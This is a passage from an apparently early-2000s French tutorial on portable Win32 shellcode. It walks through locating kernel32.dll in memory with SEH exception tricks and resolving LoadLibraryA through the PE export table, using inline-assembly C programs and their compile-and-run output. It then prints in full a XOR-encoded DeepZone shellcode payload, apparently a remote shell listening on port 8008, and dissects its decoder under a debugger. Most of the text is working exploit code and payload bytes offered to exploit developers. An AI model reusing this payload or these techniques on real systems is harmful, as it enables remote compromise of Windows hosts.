|| vérification au dword pointer par [adresse] si il y a le pattern 'MZ' ||
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
|
|--> si pattern introuvable --> [adresse] = [adresse] - 0x1000
| aller sur boucle
|
|--> si pattern trouver ------> comparer [adresse] avec toutes les adresses
du tableau [ImageBase]
|-> si [adresse] est dans [ImageBase] aller sur kernelFound
|-> si [adresse] n'est pas dans [ImageBase] aller sur boucle
kernelFound :
-> afficher la valeur de l'adresse contenant le pattern
-
tout cela marche très bien en théorie, mais dans la pratique ?
N'oubliez pas que nous sommes dans un environnement ou la Virtual Memory est protégée, et un
processus qui s'amuse à aller lire un peu partout dans la mémoire se verra très vite faire
l'objet d'une erreur de violation d'accès ! (0xC0000005)
alors comment faire pour éviter que notre programme ne soit tué par une erreur d'exception ?
Il va falloir descendre encore d'un cran, en manipulant la SEH (Structure Exception Handler)
dont les prototypes sont définis dans l'en-tête EXCPT.H
pour ceux qui débarqueraient dans le monde fabuleux du Win32 Low Level, la SEH est une structure
definie pour chaque processus à fs:[0] définissant comment réagir en cas d'erreur d'exception.
il nous suffira de la formater de facon à ce que windows jump sur notre portion de code lors
d'une erreur, et celle ci s'occupera de tout remettre en place, puis de passer à la suite
du scan. Ni vue, ni connue :)
voici concrètement comment mettre ca en place
======================================= generic0.c ==============================================
/*
* Retrouve l'ImageBase de kernel32.dll
*/
#include
void main () {
int addr;
__asm
{
jmp start
// cette fonction intercepte une erreur d'exeption (genre 0xC0000005
Violation d'acces)
keutoom :
add esp, 936 // on remet le stack pointeur en position initial
pop edx // recupere l'adressse memoire ayant causé l'exeption
pop ebx // recupere la SEH original
pop ebp
pop ebp // recupere le pointeur de base
mov fs:[0], ebx // @SEH_RemoveFrame
jmp go
start :
mov dx,0xBFFF // on commence le scan a l'adresse la plus haute
shl edx, 16 // on rol pour eviter les null bytes
// formatage du tableau d'adresse de base sur le stack
// on travail en word pour eviter les null bytes
mov ebp, esp
push 0x77E0 // - NT/W2k
push 0x77E8 // - NT/W2k
push 0x77E7 // - NT/W2k
push 0x77ED // - NT/W2k
push 0x77F0 // - NT/W2k
push 0xBFF7 // - 95/98
push 0x77E6 // - XP home
push 0xBFF6 // - Me
go : // un detail de la macro @SEH_SetupFrame
push ebp // sauvegarde le pointeur de base (reference pour ImageBase)
push offset keutoom // Adresse de la fonction appeller en cas d'exeption
push FS:[0] // sauvegarde l'adresse du SEH original
mov FS:[0],ESP // Install notre EXCEPTION_REGISTRATION
boucle: sub edx, 10000h // scan sur 10 pages (oui, je sais, null bytes,
mais c'est un code de demo)
push edx // sauvegarde l'adresse courante en cas de violation d'acces
cmp word ptr[edx], 0x5a4d // comparaison au pattern 'MZ'
pop edx // restore l'adresse
jne boucle // if (pattern != 'MZ') goto boucle
mov ecx, 8 // 8 Adresses de bases a comparer
mov edi, ebp // récupère ebp pour manipulation
Kernel_search :
mov ebx, edx // récupère l'adresse pour un rol (anti null byte)
shr ebx,16 // décalage de 16 bits (2 octets)
sub edi,4 // pointe sur la première adresse du tableau de comparaison
cmp bx, word ptr [edi] // compare
je end // si egal, ok, c'est la bonne adresse
loop Kernel_search // do { goto Kernel_search } while (ecx)
jmp boucle // recommence le scan de pattern si pas bon
end :
mov [addr],edx
}
printf ("Adresse de kernel32.dll = 0x%x/n",addr);
exit (0);
}
========================================== EOF
===============================================
E:/code/SP>ver
Microsoft Windows 2000 [Version 5.00.2195]
E:/code/SP>cl generic0.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.
generic0.c
Microsoft (R) Incremental Linker Version 6.00.8168
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.
/out:generic0.exe
generic0.obj
E:/code/SP>generic0
Adresse de kernel32.dll = 0x77e70000
E:/code/SP>
-
Très bien !
Maintenant que nous avons réussi à recuperer l'adresse de base, étudions comment récupérer
les adresses des fonctions exportées.
notre démarche va tout simplement consister à aller se balader dans le PE (Portable Executable)
de kernel32.dll à la recherche de ces precieuses informations.
Si vous n'êtes pas au point sur le PE, les tableaux ci dessous on été tirés du texte
suivant : http://www.devhell.org/~rix/me/texts/windows.txt
N'hésitez pas à aller le consulter pour plus de details.
---- Copy/Past -----
Header MZ:
OFFSET BYTES CONTENU
+------+-----+----------------------------------------------------------------
| +00 | 2 | signature 'MZ'= 4Dh 5Ah
+------+-----+----------------------------------------------------------------
| +02 | 2 | nombre bytes dernière page du fichier (1 page=512 bytes)
+------+-----+----------------------------------------------------------------
| +04 | 2 | nombre pages du fichier
+------+-----+----------------------------------------------------------------
| +06 | 2 | nombre de relocations DOS
+------+-----+----------------------------------------------------------------
| +08 | 2 | taille du header en paragraphes (1 paragraphe=16 bytes)
+------+-----+----------------------------------------------------------------
| +0A | 2 | nombre minimum de paragraphes à ajouter en fin de mémoire
+------+-----+----------------------------------------------------------------
| +0C | 2 | nombre maximum de paragraphes à ajouter en fin de mémoire
+------+-----+----------------------------------------------------------------
| +0E | 2 | SS (nécessite une relocation DOS)
+------+-----+----------------------------------------------------------------
| +10 | 2 | SP
+------+-----+----------------------------------------------------------------
| +12 | 2 | checksum
+------+-----+----------------------------------------------------------------
| +14 | 2 | IP
+------+-----+----------------------------------------------------------------
| +16 | 2 | CS (nécessite une relocation DOS)
+------+-----+----------------------------------------------------------------
| +18 | 2 | offset table des relocations (40h => fichier PE)
+------+-----+----------------------------------------------------------------
| +1A | 2 | numéro d'overlay
+------+-----+----------------------------------------------------------------
| +1C | 4 | RESERVE
+------+-----+----------------------------------------------------------------
| +20 | 2 | RESERVE
+------+-----+----------------------------------------------------------------
| +22 | 26 | RESERVE
+------+-----+----------------------------------------------------------------
| +3C | 4 | offset du nouveau header PE ou 0
+------+-----+----------------------------------------------------------------
Header PE:
+------+-----+----------------------------------------------------------------
| +00 | 4 | signature 'PE..' (= 50h 45h 00h 00h)
+------+-----+----------------------------------------------------------------
| +04 | 2 | CPU requis: 0=inconnu,14Ch=386,14Dh=486,14Eh=pentium,...
+------+-----+----------------------------------------------------------------
| +06 | 2 | nombre de sections
+------+-----+----------------------------------------------------------------
| +08 | 4 | date et heure
+------+-----+----------------------------------------------------------------
| +0C | 4 | offset d'une table des symboles (pour debuggers) ou 0
+------+-----+----------------------------------------------------------------
| +10 | 4 | nombre de symboles (pour debuggers)
+------+-----+----------------------------------------------------------------
| +14 | 2 | taille du header optionnel (habituellement 0Eh)
+------+-----+----------------------------------------------------------------
| +16 | 2 | flags selon chaque bit:
| | | bit 0: pas d'information de relocation
| | | bit 1: 1=exécutable,0=objet/librairie
| | | bit 2: RESERVE objet/librairie
| | | bit 3: RESERVE objet/librairie
| | | bit 4: 1=besoin de RAM
| | | bit 8: 1=nécessite 32 bits
| | | bit 9: 1=pas d'information de debugging
| | | bit 10: 1=ne pas exécuter d'une disquette ou disque amovible
| | | bit 11: 1=ne pas exécuter d'un réseau
| | | bit 12: 1=fichier système
| | | bit 13: 1=DLL
| | | bit 14: 1=nécessite uniquement un CPU
+------+-----+----------------------------------------------------------------
| +18 | 2 | signature 0Bh 01h
+------+-----+----------------------------------------------------------------
| +1A | 1 | version majeure du Linker ou 0
+------+-----+----------------------------------------------------------------
| +1B | 1 | version mineure du Linker ou 0
+------+-----+----------------------------------------------------------------
| +1C | 4 | taille du code (.code) +++
+------+-----+----------------------------------------------------------------
| +20 | 4 | taille des données initialisées (.data,.rdata)
+------+-----+----------------------------------------------------------------
| +24 | 4 | taille des données non initialisées (.bss)
+------+-----+----------------------------------------------------------------
| +28 | 4 | EIP initial
+------+-----+----------------------------------------------------------------
| +2C | 4 | adresse de base du code dans la mémoire du process
+------+-----+----------------------------------------------------------------
| +30 | 4 | adresse de base des données dans la mémoire du process
+------+-----+----------------------------------------------------------------
| +34 | 4 | adresse de base de l'image dans la mémoire du process
| | | (habituellement 00400000h). Si Windows peut charger le
| | | programme à cette adresse (habituellement), il n'y aura pas de
| | | relocation.
+------+-----+----------------------------------------------------------------
| +38 | 4 | alignement de l'objet
+------+-----+----------------------------------------------------------------
| +3C | 4 | alignement du fichier (souvent 1000h=4096d)
+------+-----+----------------------------------------------------------------
| +40 | 2 | version majeure de l'OS requise (habituellement 4) ou 0
+------+-----+----------------------------------------------------------------
| +42 | 2 | version mineure de l'OS requise (habituellement 0) ou 0
+------+-----+----------------------------------------------------------------
| +44 | 2 | version majeure du programme ou 0
+------+-----+----------------------------------------------------------------
| +46 | 2 | version mineure du programme ou 0
+------+-----+----------------------------------------------------------------
| +48 | 2 | version majeure du Subsystem requise (habituellement 4)
+------+-----+----------------------------------------------------------------
| +4A | 2 | version mineure du Subsystem requise (habituellement 0)
+------+-----+----------------------------------------------------------------
| +4C | 2 | version majeure de Win32 requise ou 0
+------+-----+----------------------------------------------------------------
| +4E | 2 | version mineure du Win32 requise ou 0
+------+-----+----------------------------------------------------------------
| +50 | 4 | taille du programme (somme des sections)
+------+-----+----------------------------------------------------------------
| +54 | 4 | taille de tout les headers
+------+-----+----------------------------------------------------------------
| +58 | 4 | checksum (si driver NT) ou 0
+------+-----+----------------------------------------------------------------
| +5C | 2 | Subsystem requis: 1=driver,2=GUI (pas de console),
| | | 3=CUI (console),5=OS/2,7=POSIX
+------+-----+----------------------------------------------------------------
| +5E | 2 | flags DLL selon chaque bit:
| | | bit 0: 1=notification process attachments
| | | bit 1: 1=notification thread detachments
| | | bit 2: 1=notification thread attachments
| | | bit 3: 1=notification process detachments
+------+-----+----------------------------------------------------------------
| +60 | 4 | taille reserved stack
+------+-----+----------------------------------------------------------------
| +64 | 4 | taille committed stack
+------+-----+----------------------------------------------------------------
| +68 | 4 | taille reserved heap
+------+-----+----------------------------------------------------------------
| +6C | 4 | taille committed heap
+------+-----+----------------------------------------------------------------
| +70 | 4 | flags RESERVE
+------+-----+----------------------------------------------------------------
| +74 | 4 | nombre de blocs RVA-tailles (blocs de 8 bytes ci-dessous)
+------+-----+----------------------------------------------------------------
| +78 | 4 | RVA Export Table
+------+-----+----------------------------------------------------------------
| +7C | 4 | taille Export Table
+------+-----+----------------------------------------------------------------
| +80 | 4 | RVA Import Table
+------+-----+----------------------------------------------------------------
| +84 | 4 | taille Import Table
+------+-----+----------------------------------------------------------------
| +88 | 4 | RVA Ressources
+------+-----+----------------------------------------------------------------
| +8C | 4 | taille Ressources
+------+-----+----------------------------------------------------------------
| +90 | 4 | RVA Exceptions
+------+-----+----------------------------------------------------------------
| +94 | 4 | taille Exceptions
+------+-----+----------------------------------------------------------------
| +98 | 4 | RVA Sécurité
+------+-----+----------------------------------------------------------------
| +9C | 4 | taille Sécurité
+------+-----+----------------------------------------------------------------
| +A0 | 4 | RVA Base Relocation Table
+------+-----+----------------------------------------------------------------
| +A4 | 4 | taille Base Relocation Table
+------+-----+----------------------------------------------------------------
| +A8 | 4 | RVA Debug
+------+-----+----------------------------------------------------------------
| +AC | 4 | taille Debug
+------+-----+----------------------------------------------------------------
| +B0 | 4 | RVA Image Description
+------+-----+----------------------------------------------------------------
| +B4 | 4 | taille Image Description
+------+-----+----------------------------------------------------------------
| +B8 | 4 | RVA Machine Spécifique
+------+-----+----------------------------------------------------------------
| +BC | 4 | taille Machine Spécifique
+------+-----+----------------------------------------------------------------
| +C0 | 4 | RVA Thread Local Storage
+------+-----+----------------------------------------------------------------
| +C4 | 4 | taille Thread Local Storage
+------+-----+----------------------------------------------------------------
Header Export Directory:
+------+-----+----------------------------------------------------------------
| +00 | 4 | caractéristiques
+------+-----+----------------------------------------------------------------
| +04 | 4 | date et heure
+------+-----+----------------------------------------------------------------
| +08 | 2 | version majeure
+------+-----+----------------------------------------------------------------
| +0A | 2 | version mineure
+------+-----+----------------------------------------------------------------
| +0C | 4 | offset dans le fichier du nom d'exportation (nom de la DLL)
+------+-----+----------------------------------------------------------------
| +10 | 4 | base
+------+-----+----------------------------------------------------------------
| +14 | 4 | nombre de fonctions (<> nombre réel d'exportations)
+------+-----+----------------------------------------------------------------
| +18 | 4 | nombre de noms (=nombre réel d'exportations)
+------+-----+----------------------------------------------------------------
| +1C | 4 | offset dans le fichier des adresses des fonctions (4 bytes)
+------+-----+----------------------------------------------------------------
| +20 | 4 | offset dans le fichier des noms de fonctions (séparés par 00h)
+------+-----+----------------------------------------------------------------
| +24 | 4 | offset dans le fichier des ordinaux des fonctions (2 bytes)
+------+-----+----------------------------------------------------------------
---- end ----
ok, tout ceci vas vous permettre de mieux suivre la démarche.
Notre adresse de base (0x77e70000) ce situe au niveau du HEADER MZ (rappel : 'MZ' = pattern)
nous allons donc rajouter 0x3c afin de connaitre l'offset du nouveau 'header PE', puis nous
rajouterons 0x78 a cet offset pour avoir la 'RVA Export Table', qui pointe sur le
'Header Export Directory'
jusque la, pas de souci.
à partir de maintenant, nous somme en mesure de retrouver l'adresse d'une fonction exportée,
en procédant de la manière suivante :
-> connaitre le nombre de nom de fonction exporter à +18
-> utiliser ce nombre pour faire une recherche du nom de fonction souhaité au pointeur
indiquer par +20
-> utiliser l'indice obtenu pour connaitre l'ordinal de la fonction, placer dans le tableau
sur +24
-> extraire l'adresse de la fonction en pointant sur le tableau d'adresses defini par +1C
et en utilisant l'ordinal extrait précédement comment indice.
l'explication peut parraitre un peut confuse, voici donc ce que cela donne dans la pratique,
sachant que ce code est un 'proof of concept' permettant de retrouver l'adresse exporter de
LoadLibraryA()
====================================== generic1.c ============================================
/*
* Retrouve l'adresse d'une fonction exporté a partir d'une ImageBase de
Kernel32.dll
* spécifié en argument
*/
#include
void main (int argc, char *argv[])
{
int addr, ImageBase;
char *apiname="LoadLibraryA", *p;
if (!argv[1])
{
printf ("usage : %s /n/n"
"Exemple : %s 0x77e70000/n",argv[0], argv[0]);
exit (0);
}
ImageBase = strtol (argv[1], &p, 16);
__asm {
mov eax, ImageBase
mov ebx, dword ptr [eax+0x3c] // ebx = IMAGE_DOS_HEADER->e_lfanew
add ebx, eax // ebx = PIMAGE_NT_HEADERS
mov ebx, dword ptr [ebx+0x78] // ebx = IMAGE_NT_HEADERS->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]->VirtualAddress
add ebx, eax // ebx = PIMAGE_EXPORT_DIRECTORY
mov esi, dword ptr [ebx+0x1C]
add esi, eax // esi = base + expdir->AddressOfFunctions
push esi // # functions[]
mov esi, dword ptr [ebx+0x24]
add esi, eax // esi = base + PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals
push esi // # functions[] # ordinals[]
mov edx, dword ptr [ebx+0x20]
add edx, eax // edx = base + expdir->AddressOfNames
mov ebx, dword ptr [ebx+0x18] // i = PIMAGE_EXPORT_DIRECTORY->NumberOfNames
dec ebx // i--
search_func:
push 12
pop ecx // ecx = strlen ("LoadLibraryA")
mov esi, dword ptr [edx+4*ebx]
add esi, eax // esi = names[i]
mov edi, apiname
cld // indique que esi et edi seront
incrementés
repe cmpsb
je get_func_address; // if (memcmp(names[i], apiname, 12) == 0)
dec ebx // ebx--
and ebx, ebx
jnz search_func // if (ecx != 0)
int 3 // APINAME introuvable
get_func_address:
pop edi // edi = ordinals[]
// # functions[]
xor ecx, ecx
mov cx, word ptr [edi+2*ebx] // bx = ordinals[i]
pop edi // edi = functions[]
// #
mov edi, dword ptr [edi+4*ecx] // edi = functions[ordinals[i]]
// add edi, eax // edi = base + functions[ordinals[i]]
// mov eax, edi // eax = func_address
lea eax, [edi+eax]
mov [addr], eax
}
printf ("adresse de LoadLibraryA : 0x%x/n",addr);
}
========================================== EOF
===============================================
E:/code/SP>cl generic1.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.
generic1.c
Microsoft (R) Incremental Linker Version 6.00.8168
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.
/out:generic1.exe
generic1.obj
E:/code/SP>generic1
usage : generic1
Exemple : generic1 0x77e70000
E:/code/SP>generic1 0x77e70000
adresse de LoadLibraryA : 0x77e7a254
E:/code/SP>
-
voila, une fois arrivé à ce point, la conception devient équivalente à celle d'un shellcode
statique.
l'avantage de cette technique est de pouvoir procéder à une attaque sans ce soucier de l'OS
ou du service pack utilisé par la cible, mais les plus assidus remarquerons que la taille
d'un tel shellcode laisse quand même à désirer...
/*************************************************************************************
III. ETUDE DE QUELQUES SOLUTIONS APPORTEES PAR LA COMMUNAUTE " UNDERGROUND
MONDIAL "
*************************************************************************************/
Nous allons maintenant étudier quelques shellcodes utilisant une technique un peu
différente de tout ce qui a été expliqué en amont.
///
ETUDE DU SHELLCODE STATIQUE DE |ZAN.
///
Si vous êtes un développeur d'exploit un peu feignant, il vous est surement arrivé
de vouloir trouver un shellcode asser facile à générer/implémenter dans votre code.
Heureusement, beaucoup d'outils sont accessibles sur internet, dont notamment le
générateur de shellcode statique offert par deepzone à l'adresse suivante :
http://www.deepzone.org/olservices/xploitit/
voici notre étude à ce sujet :
Ce shellcode est un shellcode statique qui ce base sur les adresses situées dans l'
'Importe Table' du programme à exploiter.
le code source complet n'ayant pas été divulgé / commenté, nous avons du reverser celui si
pour mieux comprendre son approche.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Disassembly of File: deepzone.exe
Code Offset = 00001000, Code Size = 00003000
Data Offset = 00005000, Data Size = 00001000
+++++++++++++++++++ ASSEMBLY CODE LISTING ++++++++++++++++++
//********************** Start of Code in Object .text **************
Program Entry Point = 00401032 (deepzone.exe File Offset:00005032)
[...]
* Reference To: KERNEL32.LoadLibraryA, Ord:01C2h
|
:00402EF0 FF1574404000 Call dword ptr [00404074] <- IT adresse de LoadLibraryA
* Reference To: KERNEL32.GetProcAddress, Ord:013Eh
|
:00402EFC 8B3570404000 mov esi, dword ptr [00404070] <- IT adresse de GetProcAddress
[...]
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
-- portable NT/2k/XP ShellCode features ...
LoadLibraryA IT address 00404074h
GetProcAddress IT address 00404070h
XOR byte 99h
Remote port 8008
Style C
---------------------------
======================================= deepzone.c ===========================================
#include
void main () {
char DeepZone_w32ShellCode [] =
"/xcc" // on applique un hardcoded break point pour l'etude du shellcode
"/x68/x5e/x56/xc3/x90/x54/x59/xff/xd1/x58/x33/xc9/xb1/x1c"
"/x90/x90/x90/x90/x03/xf1/x56/x5f/x33/xc9/x66/xb9/x95/x04"
"/x90/x90/x90/xac/x34/x99/xaa/xe2/xfa/x71/x99/x99/x99/x99"
"/xc4/x18/x74/x40/xb8/xd9/x99/x14/x2c/x6b/xbd/xd9/x99/x14"
"/x24/x63/xbd/xd9/x99/xf3/x9e/x09/x09/x09/x09/xc0/x71/x4b"
"/x9b/x99/x99/x14/x2c/xb3/xbc/xd9/x99/x14/x24/xaa/xbc/xd9"
"/x99/xf3/x93/x09/x09/x09/x09/xc0/x71/x23/x9b/x99/x99/xf3"
"/x99/x14/x2c/x40/xbc/xd9/x99/xcf/x14/x2c/x7c/xbc/xd9/x99"
"/xcf/x14/x2c/x70/xbc/xd9/x99/xcf/x66/x0c/xaa/xbc/xd9/x99"
"/xf3/x99/x14/x2c/x40/xbc/xd9/x99/xcf/x14/x2c/x74/xbc/xd9"
"/x99/xcf/x14/x2c/x68/xbc/xd9/x99/xcf/x66/x0c/xaa/xbc/xd9"
"/x99/x5e/x1c/x6c/xbc/xd9/x99/xdd/x99/x99/x99/x14/x2c/x6c"
"/xbc/xd9/x99/xcf/x66/x0c/xae/xbc/xd9/x99/x14/x2c/xb4/xbf"
"/xd9/x99/x34/xc9/x66/x0c/xca/xbc/xd9/x99/x14/x2c/xa8/xbf"
"/xd9/x99/x34/xc9/x66/x0c/xca/xbc/xd9/x99/x14/x2c/x68/xbc"
"/xd9/x99/x14/x24/xb4/xbf/xd9/x99/x3c/x14/x2c/x7c/xbc/xd9"
"/x99/x34/x14/x24/xa8/xbf/xd9/x99/x32/x14/x24/xac/xbf/xd9"
"/x99/x32/x5e/x1c/xbc/xbf/xd9/x99/x99/x99/x99/x99/x5e/x1c"
"/xb8/xbf/xd9/x99/x98/x98/x99/x99/x14/x2c/xa0/xbf/xd9/x99"
"/xcf/x14/x2c/x6c/xbc/xd9/x99/xcf/xf3/x99/xf3/x99/xf3/x89"
"/xf3/x98/xf3/x99/xf3/x99/x14/x2c/xd0/xbf/xd9/x99/xcf/xf3"
"/x99/x66/x0c/xa2/xbc/xd9/x99/xf1/x99/xb9/x99/x99/x09/xf1"
"/x99/x9b/x99/x99/x66/x0c/xda/xbc/xd9/x99/x10/x1c/xc8/xbf"
"/xd9/x99/xaa/x59/xc9/xd9/xc9/xd9/xc9/x66/x0c/x63/xbd/xd9"
"/x99/xc9/xc2/xf3/x89/x14/x2c/x50/xbc/xd9/x99/xcf/xca/x66"
"/x0c/x67/xbd/xd9/x99/xf3/x9a/xca/x66/x0c/x9b/xbc/xd9/x99"
"/x14/x2c/xcc/xbf/xd9/x99/xcf/x14/x2c/x50/xbc/xd9/x99/xcf"
"/xca/x66/x0c/x9f/xbc/xd9/x99/x14/x24/xc0/xbf/xd9/x99/x32"
"/xaa/x59/xc9/x14/x24/xfc/xbf/xd9/x99/xce/xc9/xc9/xc9/x14"
"/x2c/x70/xbc/xd9/x99/x34/xc9/x66/x0c/xa6/xbc/xd9/x99/xf3"
"/xa9/x66/x0c/xd6/xbc/xd9/x99/x72/xd4/x09/x09/x09/xaa/x59"
"/xc9/x14/x24/xfc/xbf/xd9/x99/xce/xc9/xc9/xc9/x14/x2c/x70"
"/xbc/xd9/x99/x34/xc9/x66/x0c/xa6/xbc/xd9/x99/xf3/xc9/x66"
"/x0c/xd6/xbc/xd9/x99/x1a/x24/xfc/xbf/xd9/x99/x9b/x96/x1b"
"/x8e/x98/x99/x99/x18/x24/xfc/xbf/xd9/x99/x98/xb9/x99/x99"
"/xeb/x97/x09/x09/x09/x09/x5e/x1c/xfc/xbf/xd9/x99/x99/xb9"
"/x99/x99/xf3/x99/x12/x1c/xfc/xbf/xd9/x99/x14/x24/xfc/xbf"
"/xd9/x99/xce/xc9/x12/x1c/xc8/xbf/xd9/x99/xc9/x14/x2c/x70"
"/xbc/xd9/x99/x34/xc9/x66/x0c/xde/xbc/xd9/x99/xf3/xc9/x66"
"/x0c/xd6/xbc/xd9/x99/x12/x1c/xfc/xbf/xd9/x99/xf3/x99/xc9"
"/x14/x2c/xc8/xbf/xd9/x99/x34/xc9/x14/x2c/xc0/xbf/xd9/x99"
"/x34/xc9/x66/x0c/x93/xbc/xd9/x99/xf3/x99/x14/x24/xfc/xbf"
"/xd9/x99/xce/xf3/x99/xf3/x99/xf3/x99/x14/x2c/x70/xbc/xd9"
"/x99/x34/xc9/x66/x0c/xa6/xbc/xd9/x99/xf3/xc9/x66/x0c/xd6"
"/xbc/xd9/x99/xaa/x50/xa0/x14/xfc/xbf/xd9/x99/x96/x1e/xfe"
"/x66/x66/x66/xf3/x99/xf1/x99/xb9/x99/x99/x09/x14/x2c/xc8"
"/xbf/xd9/x99/x34/xc9/x14/x2c/xc0/xbf/xd9/x99/x34/xc9/x66"
"/x0c/x97/xbc/xd9/x99/x10/x1c/xf8/xbf/xd9/x99/xf3/x99/x14"
"/x24/xfc/xbf/xd9/x99/xce/xc9/x14/x2c/xc8/xbf/xd9/x99/x34"
"/xc9/x14/x2c/x74/xbc/xd9/x99/x34/xc9/x66/x0c/xd2/xbc/xd9"
"/x99/xf3/xc9/x66/x0c/xd6/xbc/xd9/x99/xf3/x99/x12/x1c/xf8"
"/xbf/xd9/x99/x14/x24/xfc/xbf/xd9/x99/xce/xc9/x12/x1c/xc8"
"/xbf/xd9/x99/xc9/x14/x2c/x70/xbc/xd9/x99/x34/xc9/x66/x0c"
"/xde/xbc/xd9/x99/xf3/xc9/x66/x0c/xd6/xbc/xd9/x99/x70/x20"
"/x67/x66/x66/x14/x2c/xc0/xbf/xd9/x99/x34/xc9/x66/x0c/x8b"
"/xbc/xd9/x99/x14/x2c/xc4/xbf/xd9/x99/x34/xc9/x66/x0c/x8b"
"/xbc/xd9/x99/xf3/x99/x66/x0c/xce/xbc/xd9/x99/xc8/xcf/xf1"
"/xcd/x3b/x7e/xee/x09/xc3/x66/x8b/xc9/xc2/xc0/xce/xc7/xc8"
"/xcf/xca/xf1/x58/x03/x7e/xee/x09/xc3/x66/x8b/xc9/x35/x1d"
"/x59/xec/x62/xc1/x32/xc0/x7b/x70/x5a/xce/xca/xd6/xda/xd2"
"/xaa/xab/x99/xea/xf6/xfa/xf2/xfc/xed/x99/xfb/xf0/xf7/xfd"
"/x99/xf5/xf0/xea/xed/xfc/xf7/x99/xf8/xfa/xfa/xfc/xe9/xed"
"/x99/xea/xfc/xf7/xfd/x99/xeb/xfc/xfa/xef/x99/xfa/xf5/xf6"
"/xea/xfc/xea/xf6/xfa/xf2/xfc/xed/x99/xd2/xdc/xcb/xd7/xdc"
"/xd5/xaa/xab/x99/xda/xeb/xfc/xf8/xed/xfc/xc9/xf0/xe9/xfc"
"/x99/xde/xfc/xed/xca/xed/xf8/xeb/xed/xec/xe9/xd0/xf7/xff"
"/xf6/xd8/x99/xda/xeb/xfc/xf8/xed/xfc/xc9/xeb/xf6/xfa/xfc"
"/xea/xea/xd8/x99/xc9/xfc/xfc/xf2/xd7/xf8/xf4/xfc/xfd/xc9"
"/xf0/xe9/xfc/x99/xde/xf5/xf6/xfb/xf8/xf5/xd8/xf5/xf5/xf6"
"/xfa/x99/xcb/xfc/xf8/xfd/xdf/xf0/xf5/xfc/x99/xce/xeb/xf0"
"/xed/xfc/xdf/xf0/xf5/xfc/x99/xca/xf5/xfc/xfc/xe9/x99/xda"
"/xf5/xf6/xea/xfc/xd1/xf8/xf7/xfd/xf5/xfc/x99/xdc/xe1/xf0"
"/xed/xc9/xeb/xf6/xfa/xfc/xea/xea/x99/xda/xf6/xfd/xfc/xfd"
"/xb9/xfb/xe0/xb9/xe5/xc3/xf8/xf7/xb9/xa5/xf0/xe3/xf8/xf7"
"/xd9/xfd/xfc/xfc/xe9/xe3/xf6/xf7/xfc/xb7/xf6/xeb/xfe/xa7"
"/x9b/x99/x86/xd1/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99"
"/x99/x99/x95/x99/x99/x99/x99/x99/x99/x99/x98/x99/x99/x99"
"/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99"
"/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99"
"/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99"
"/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99"
"/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99"
"/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99"
"/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99"
"/x99/x99/xda/xd4/xdd/xb7/xdc/xc1/xdc/x99/x99/x99/x99/x99"
"/x89/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99"
"/x99/x99/x99/x99/x99/x99/x90/x90/x90/x90/x90/x90/x90/x90";
void (*shellcode) () = (void *) DeepZone_w32ShellCode;
shellcode ();
}
============================================= EOF =============================================
passons à la dissection :)
E:/code/SP>cl deepzone.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.
deepzone.c
Microsoft (R) Incremental Linker Version 6.00.8168
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.
/out:deepzone.exe
deepzone.obj
E:/code/SP>deepzone
Module Load: E:/CODE/SP/deepzone.exe (symbol loading deferred)
Thread Create: Process=0, Thread=0
Module Load: C:/WINNT/SYSTEM32/ntdll.dll (symbol loading deferred)
Module Load: C:/WINNT/SYSTEM32/kernel32.dll (symbol loading deferred)
Module Load: C:/WINNT/SYSTEM32/ntdll.dll (could not open symbol file)
Module Load: E:/CODE/SP/deepzone.exe (no symbols loaded)
Thread Create: Process=0, Thread=1
Hard coded breakpoint hit
>
0012FAB8 CC int 3 // hard coded break point
// cette technique permet de retrouver l'offset de la partie du shellcode
// qui est crypter
0012FAB9 685E56C390 push 90C3565Eh // push des instructions sur le stack
/*****************************************************************
>u esp
0012FAA8 5E pop esi //qui correspondent a ceci
0012FAA9 56 push esi
0012FAAA C3 ret
0012FAAB 90 nop
*******************************************************************/
0012FABE 54 push esp
0012FABF 59 pop ecx // ecx = 0x12FAA8
0012FAC0 FFD1 call ecx // call ecx
0012FAC2 58 pop eax // eax = 90C3565Eh
0012FAC3 33C9 xor ecx,ecx
0012FAC5 B11C mov cl,1Ch // initialise cl à 28
0012FAC7 90 nop
0012FAC8 90 nop // porcass nop
0012FAC9 90 nop // anti null bytes j'imagine
0012FACA 90 nop
0012FACB 03F1 add esi,ecx // pointe esi au debut du crypted shellcode
0012FACD 56 push esi
0012FACE 5F pop edi // met edi au même niveau que esi
0012FACF 33C9 xor ecx,ecx
0012FAD1 66B99504 mov cx,495h // 1173 bytes à decrypter
0012FAD5 90 nop
0012FAD6 90 nop // hu ?
0012FAD7 90 nop
0012FAD8 AC lods byte ptr [esi] // processus de
decryptage xor
0012FAD9 3499 xor al,99h // avec la clé 99h
0012FADB AA stos byte ptr [edi]
0012FADC E2FA loop 0012FAD8 // inutil de faire un dessin
// the decrypted shellcode asm source, woohouu
start :
0012FADE E800000000 call 0012FAE3 // push offset start
0012FAE3 5D pop ebp // ebp = offset start
0012FAE4 81EDD9214000 sub ebp,4021D9h // paye ton stack
